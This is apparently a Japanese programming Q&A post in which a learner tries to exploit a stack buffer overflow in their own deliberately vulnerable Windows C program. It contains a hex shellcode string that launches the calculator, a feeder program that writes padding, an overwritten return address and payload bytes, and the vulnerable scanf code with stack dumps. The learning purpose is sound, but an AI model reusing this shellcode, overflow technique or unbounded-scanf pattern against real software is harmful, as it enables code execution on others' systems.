前回の質問
昨日の質問にてどさくさ紛れに
追記で質問したのですが、回答がつかないので改めて質問させていただきます。
やりたいこと
バッファオーバーフローを起こしてシェルコードを実行したい。
本来は"Hello World!"を出力するシェルコード
(厳密には違うという指摘をいただきましたがあえて、そう言わせてください。)
を作って使いたかったのですが
今の私の知識力では不可能と判断し、断念しました。
そこでシェルコード自体はどっかから持ってくることにしました。
電卓を起動するシェルコード
(動く前提で)
cmd
1\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF
これをバッファオーバーフローを起こしてスタックに配置しようと思います。
リターンアドレスとかも書き換えなければいけないので
エスケープシーケンスを考慮し、パイプを使って
脆弱性のあるプログラム(scanf関数)へ
流そうと思います。
以下脆弱性のあるプログラムへ流すプログラム
c
1int main(void) 2{ 3 for (int i = 0; i < 28; ++i) putchar(0x00);//バッファを溢れさせる。リターンアドレスまで28バイトあるから28バイト分0で埋める。 4 5//ここからリターンアドレス配置 28バイト目 6//シェルコードが置かれている場所のアドレスへ書き換える。 7 putchar(0x44); 8 putchar(0xF9); 9 putchar(0x2F); 10 putchar(0x01); 11//リターンアドレス配置終了 12 13//シェルコード配置 14 putchar(0xEF); 15 putchar(0xFF); 16 putchar(0xFF); 17 putchar(0x77); 18 putchar(0xE8); 19 putchar(0x73); 20 putchar(0xE2); 21//100行以上あります・・・ ひとつひとつ入れていく・・・ 22}
printf関数でもいけるかぁ?と思ってやってみたらだめだったのでputchar関数を使っています。他に方法があれば教えていただきたいです。
私が考えるこのときのスタック構造
(逆アセンブルする手もあるかもしれないが)
c
1 -------------------------------- 2 ローカル変数領域 (例)000000000000・・・ 3 (溢れさせる。) 4 -------------------------------- 5 リターンアドレス (例)004FFA30 6 (溢れさせたついでに書き換える。シェルコードの場所) 7 ------------------------------- 8 本来、関数引数が置かれているが、ここにシェルコードを配置 9 アドレス: 004FFA30 10 ------------------------------
うーむ、これでいけるのでしょうか?
というより、考え方はあっているのか?
脆弱性のあるコード
c
1#pragma warning(disable: 4996) 2#include <intrin.h> 3#include<stdio.h> 4#include <string.h> 5 6__declspec(safebuffers) int sample(int con); 7__declspec(safebuffers) int sub(int a); 8 9 10__declspec(safebuffers) int sample(int con) { 11 int (*func)(int a); 12 func = sub; 13 14 printf("sub関数のアドレス・・・%p\n", *func); 15 void* a = _ReturnAddress(); 16 printf("リターンアドレス・・・%p\n", a); 17 char moji[15]; 18 int* p; 19 p = (int*)moji; 20 int ebpofs; 21 int ebpofs2; 22 int* ebp; 23 ebp = &con; 24 25 unsigned* retaddr = (unsigned*)_AddressOfReturnAddress(); 26 unsigned* pp = retaddr - 1; 27 printf("保存されたebp:%p\n", *pp); 28 29 printf("ReturnAdress + 1:%p\n",p + 8); 30 scanf("%s", moji); 31 printf("%s\n", "ローカル変数"); 32 printf("%s\n", "ローカル変数 4バイト出力 16進数 0 80"); 33 34 for (ebpofs = 0; ebpofs < 80; ebpofs++) { 35 printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]); 36 } 37 38 printf("%s\n", "--------------------------------------------"); 39 printf("%s\n", "コマンド引数 4バイト入力 16進数 -5 40"); 40 for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) { 41 printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]); 42 } 43 //リターンアドレス破壊4 44 void* b = _ReturnAddress(); 45 printf("return:%p\n", b); 46 printf("price:%x\n", p[13]); 47 //p[13] = (int)func; 48 //p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485; 49 //printf("price:%x\n", p[13]); 50 void* c = _ReturnAddress(); 51 printf("return:%p\n", c); 52 // echo -e "a" | /mnt/c/Users/u16154/source/repos/ConsoleApplication7/Debug/ConsoleApplication7.exe 53 unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress(); 54 unsigned* pp2 = retaddr2 - 1; 55 printf("ebp:%p\n", *pp2); 56 return 0; 57} 58//52バイト 59//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 60 61__declspec(safebuffers) int main(int a) { 62 printf("%s","a"); 63 sample(8); 64 return 0; 65} 66 67 68__declspec(safebuffers) int sub(int a) { 69 printf("%s\n", "破壊成功!"); 70 return 0; 71} 72
リターンアドレスまでのバイト数、など図るため(効率悪いけど)
ごちゃごちゃしていますが
簡略化すると
c
1int main(void){ 2char sample[15]; 3scanf("%s",sample); 4return 0; 5} 6
こうなります。
実行すると・・・(aを入力)
cmd
1asub関数のアドレス・・・00DB12C6 2リターンアドレス・・・00DB1CEC 3保存されたebp:006FF9E8 4ReturnAdress + 1:006FF998//リターンアドレスが起これているアドレスから4バイト目を示す。 5a 6ローカル変数 7ローカル変数 4バイト出力 16進数 0 80 8addr:006FF978 price:f930061//ASCII aは16進数表現61 より、aがしっかり入っている。 9addr:006FF97C price:dbc002 10addr:006FF980 price:6ff9d4 11addr:006FF984 price:0 12addr:006FF988 price:db1cec 13addr:006FF98C price:db12c6 14addr:006FF990 price:6ff9e8 15addr:006FF994 price:db1cec//リターンアドレス 入力から28バイトある。 16addr:006FF998 price:8//ここにシェルコードを配置 17addr:006FF99C price:db1352 18addr:006FF9A0 price:db1352 19addr:006FF9A4 price:5b4000 20 21・ 22・ 23・ 24addr:006FFA14 price:db1352 25addr:006FFA18 price:db1352 26addr:006FFA1C price:5b4000 27addr:006FFA20 price:0 28addr:006FFA24 price:0 29addr:006FFA28 price:0 30addr:006FFA2C price:0 31addr:006FFA30 price:0 32addr:006FFA34 price:0 33return:00DB1CEC 34price:913e9c66 35return:00DB1CEC 36ebp:006FF9E8 37
前置きが長くなりましたが質問
質問1
そもそもの話
シェルコード配置の考え方は合っているのでしょうか?
私が考えるスタック想像図を描きましたが、それです。
リターンアドレスを書き換えた直後にシェルコードを配置しています。
リターンアドレスをシェルコードが置かれている先頭アドレスに。
質問2
cmd
1\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF
これをputcharに格納するとき(リトルエンディアンと仮定し)
どのように納めればいいのでしょうか?
私は後ろからやってみたのですが
いざやってみるとちょっと、いや全然違かったです。
(あの作業するだけで30分・・・)
どのように格納すればいいのでしょうか?
c
1\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30
先頭らへんのここを例えて私がやったのは
c
1putchar(0x30); 2putchar(0x40); 3putchar(0x8B); 4putchar(0x64); 5・・・ 6 7putchar(0x67); 8putchar(0xEB); 9putchar(0xFC);
という感じです。
質問3
今の私の知識では判断できないのですが
そもそも、このシェルコード合っていますか?(エンディアンとかそういう話以前に)
また、シェルコードはどのようにぐぐったら出てきますか?
"windows10 シェルコード"
と調べても見た限り、今回紹介しているサイトくらいしか見つけりませんでした。
やっぱシェルコードという言葉自体だめなんでしょうか?(なら、ペイロード?)
分からないのでご教授お願いします。
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。
2019/10/27 21:33
2019/10/31 06:58
2019/10/31 07:29
2019/10/31 08:43